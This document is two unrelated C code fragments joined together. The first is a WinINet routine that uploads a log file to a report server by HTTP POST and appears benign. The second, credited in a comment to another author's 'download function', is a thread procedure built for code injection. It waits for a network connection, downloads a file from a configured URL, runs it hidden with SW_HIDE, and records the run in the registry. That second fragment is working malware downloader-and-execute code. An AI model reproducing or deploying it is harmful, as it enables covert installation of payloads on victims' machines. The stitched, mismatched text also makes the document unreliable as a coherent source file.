static int send_file_wininet (const char *name) { int ret = 0; HMODULE wininet_mod = NULL; HINTERNET (WINAPI *pInternetOpen)(LPCSTR agent, DWORD access_type, LPCSTR proxy_name, LPCSTR proxy_bypass, DWORD flags); HINTERNET (WINAPI *pInternetConnect)(HINTERNET session, LPCSTR server_name, INTERNET_PORT server_port, LPCSTR username, LPCSTR password, DWORD service, DWORD flags, DWORD_PTR *context); HINTERNET (WINAPI *pHttpOpenRequest)(HINTERNET connection, LPCSTR verb, LPCSTR object_name, LPCSTR version, LPCSTR referer, LPCSTR *accept_types, DWORD flags, DWORD_PTR context); BOOL (WINAPI *pHttpSendRequestEx)(HINTERNET request, LPINTERNET_BUFFERSA buffers_in, LPINTERNET_BUFFERSA buffers_out, DWORD flags, DWORD_PTR context); BOOL (WINAPI *pInternetWriteFile)(HINTERNET file, LPCVOID buffer, DWORD number_of_bytes_to_write, LPDWORD number_of_bytes_written); BOOL (WINAPI *pHttpEndRequest)(HINTERNET request, LPINTERNET_BUFFERSA buffers_out, DWORD flags, DWORD_PTR context); BOOL (WINAPI *pInternetReadFile)(HINTERNET file, LPCVOID buffer, DWORD number_of_bytes_to_read, LPDWORD number_of_bytes_read); BOOL (WINAPI *pInternetCloseHandle)(HINTERNET Handle) = NULL; HANDLE file = INVALID_HANDLE_VALUE; DWORD filesize, bytes_read, bytes_written; size_t total, count; char *str = NULL; HINTERNET session = NULL; HINTERNET connection = NULL; HINTERNET request = NULL; INTERNET_BUFFERSA buffers_in = { 0 }; char buffer[BUFLEN+1]; static const char extra_headers[] = CONTENT_HEADERS; wininet_mod = LoadLibraryA("wininet.dll"); if (wininet_mod == NULL) goto done; pInternetOpen = (void *)GetProcAddress(wininet_mod, "InternetOpenA"); pInternetConnect = (void *)GetProcAddress(wininet_mod, "InternetConnectA"); pHttpOpenRequest = (void *)GetProcAddress(wininet_mod, "HttpOpenRequestA"); pHttpSendRequestEx = (void *)GetProcAddress(wininet_mod, "HttpSendRequestExA"); pInternetWriteFile = (void *)GetProcAddress(wininet_mod, "InternetWriteFile"); pHttpEndRequest = (void *)GetProcAddress(wininet_mod, "HttpEndRequestA"); pInternetReadFile = (void *)GetProcAddress(wininet_mod, "InternetReadFile"); pInternetCloseHandle = (void *)GetProcAddress(wininet_mod, "InternetCloseHandle"); if (pInternetOpen == NULL || pInternetConnect == NULL || pHttpOpenRequest == NULL || pHttpSendRequestEx == NULL || pHttpEndRequest == NULL || pInternetWriteFile == NULL || pInternetReadFile == NULL || pInternetCloseHandle == NULL) { goto done; } ret = 1; file = CreateFileA( name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL ); if ((file == INVALID_HANDLE_VALUE) && (GetLastError() == ERROR_INVALID_PARAMETER)) { /* FILE_SHARE_DELETE not supported on win9x */ file = CreateFileA( name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL ); } if (file == INVALID_HANDLE_VALUE) { report (R_WARNING, "Can't open file '%s': %u", name, GetLastError()); goto done; } filesize = GetFileSize( file, NULL ); if (filesize > 1.5*1024*1024) { report (R_WARNING, "File too big (%.1f MB > 1.5 MB); submitting partial report.", filesize/1024.0/1024); filesize = 1.5*1024*1024; } report (R_STATUS, "Opening HTTP connection to " SERVER_NAME); session = pInternetOpen (USER_AGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); if (session == NULL) { report (R_WARNING, "Unable to open connection, error %u", GetLastError()); goto done; } connection = pInternetConnect (session, SERVER_NAME, INTERNET_DEFAULT_HTTP_PORT, "", "", INTERNET_SERVICE_HTTP, 0, 0); if (connection == NULL) { report (R_WARNING, "Unable to connect, error %u", GetLastError()); goto done; } request = pHttpOpenRequest (connection, "POST", URL_PATH, NULL, NULL, NULL, INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_COOKIES | INTERNET_FLAG_NO_UI | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0); if (request == NULL) { report (R_WARNING, "Unable to open request, error %u", GetLastError()); goto done; } report (R_STATUS, "Sending request"); str = strmake (&total, body1, name); memset(&buffers_in, 0, sizeof(INTERNET_BUFFERSA)); buffers_in.dwStructSize = sizeof(INTERNET_BUFFERSA); buffers_in.dwBufferTotal = filesize + total + sizeof body2 - 1; buffers_in.lpcszHeader = strmake (&count, extra_headers, buffers_in.dwBufferTotal); buffers_in.dwHeadersLength = count; if (! pHttpSendRequestEx(request, &buffers_in, NULL, 0, 0)) { report (R_WARNING, "Unable to send request, error %u", GetLastError()); goto done; } if (! pInternetWriteFile(request, str, total, &bytes_written) || bytes_written != total) { report (R_WARNING, "Unable to write body data, error %u", GetLastError()); goto done; } report (R_STATUS, "Sending %u bytes of data", filesize); report (R_PROGRESS, 2, filesize); total = 0; while (total < filesize && ReadFile( file, buffer, BUFLEN/2, &bytes_read, NULL )) { if (aborting) goto done; if (!bytes_read) break; total += bytes_read; if (total > filesize) bytes_read -= total - filesize; if (! pInternetWriteFile (request, buffer, bytes_read, &bytes_written) || bytes_written != bytes_read) { report (R_WARNING, "Error sending body: %u", GetLastError ()); goto done; } report (R_DELTA, bytes_read, "Network transfer: In progress"); } if (! pInternetWriteFile(request, body2, sizeof body2 - 1, &bytes_written) || bytes_written != sizeof body2 - 1) { report (R_WARNING, "Unable to write final body data, error %u", GetLastError()); goto done; } if (! pHttpEndRequest(request, NULL, 0, 0)) { report (R_WARNING, "Unable to end request, error %u", GetLastError()); goto done; } report (R_DELTA, 0, "Network transfer: Done"); total = 0; do { if (! pInternetReadFile(request, buffer+total, BUFLEN-total, &bytes_read)) { report (R_WARNING, "Error receiving reply: %u", GetLastError ()); goto done; } total += bytes_read; if (total == BUFLEN) { report (R_WARNING, "Buffer overflow"); goto done; } } while (bytes_read != 0); heap_free (str); str = strmake (&count, "Received %s (%d bytes).\n", name, filesize); if (total < count || memcmp (str, buffer + total - count, count) != 0) { buffer[total] = 0; report (R_ERROR, "Can't submit logfile '%s'. " "Server response: %s", name, buffer); } done: heap_free((void *)buffers_in.lpcszHeader); heap_free(str); if (pInternetCloseHandle != NULL && request != NULL) pInternetCloseHandle (request); if (pInternetCloseHandle != NULL && connection != NULL) pInternetCloseHandle (connection); if (pInternetCloseHandle != NULL && session != NULL) pInternetCloseHandle (session); if (file != INVALID_HANDLE_VALUE) CloseHandle (file); if (wininet_mod != NULL) FreeLibrary (wininet_mod); return ret; }
//I take dr3fs download function and I modified //it little DWORD __stdcall ThreadProc(InjS *Inj) { HINTERNET hinternet,hurl; DWORD readed_bytes,writed_bytes; HANDLE hfile; char bbuffer; //Point to apis from Inj struct FARPROC pCreateMutex = (FARPROC)Inj->dwCreateMutex; FARPROC pGetLastError = (FARPROC)Inj->dwGetLastError; FARPROC pExitThread = (FARPROC)Inj->dwExitThread; FARPROC pICheckConn = (FARPROC)Inj->dwICheckConn; FARPROC pSleep = (FARPROC)Inj->dwSleep; FARPROC pInternetOpen = (FARPROC)Inj->dwInternetOpen; FARPROC pInternetOpenUrl = (FARPROC)Inj->dwInternetOpenUrl; FARPROC pCreateFile = (FARPROC)Inj->dwCreateFile; FARPROC pInternetReadFile= (FARPROC)Inj->dwInternetReadFile; FARPROC pWriteFile = (FARPROC)Inj->dwWriteFile; FARPROC pShellExecute = (FARPROC)Inj->dwShellExecute; FARPROC pCloseHandle = (FARPROC)Inj->dwCloseHandle; FARPROC pInternetCloseH = (FARPROC)Inj->dwInternetCloseH; FARPROC pRegCreateKey = (FARPROC)Inj->dwRegCreateKey; FARPROC pRegSetValueEx = (FARPROC)Inj->dwRegSetValueEx; FARPROC pRegCloseKey = (FARPROC)Inj->dwRegCloseKey; //Check if there is inet connection //If not sleep 8 seconds and check again //else try to download file & execute it while(!pICheckConn(Inj->site,1, 0))pSleep(Inj->stime); //create mutex pCreateMutex(0,0,Inj->mtx); //cant run twice if(pGetLastError()==ERROR_ALREADY_EXISTS) { pExitThread(1); return 1; // :) } //Initializes an application's use of the Win32 Internet functions.(MSDN) hinternet=(void*)pInternetOpen("",INTERNET_OPEN_TYPE_DIRECT,0,0,0); if(!hinternet)return 1;//if error exit //This is a general function that an application can use to //retrieve data over any of the protocols that //the Win32 Internet functions support(MSDN) hurl=(void*)pInternetOpenUrl(hinternet,Inj->downsite,0,0,INTERNET_FLAG_RELOAD,0); if(!hurl)return 1; //if error exit //You should know this api hfile=(void*)pCreateFile(Inj->spath,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); if(!hfile)return 1; //if error exit //read from from file that we want to download and write data to disk while(pInternetReadFile(hurl,&bbuffer,1,&readed_bytes) && readed_bytes) { pWriteFile(hfile,&bbuffer,1,&writed_bytes,0); } //Close Handles pCloseHandle(hfile); pInternetCloseH(hurl); pInternetCloseH(hinternet); //Execute File pShellExecute(0,"open",Inj->spath,0,0,SW_HIDE); //Write to regkey string val Downloaded 1 becose we wont to download //same file for n times if(pRegCreateKey(HKEY_CURRENT_USER,Inj->regpath,&hKey) == ERROR_SUCCESS) { pRegSetValueEx(hKey,Inj->downloaded,0,REG_SZ,Inj->ss,sizeof(char)); pRegCloseKey(hKey); } return 0; //exit }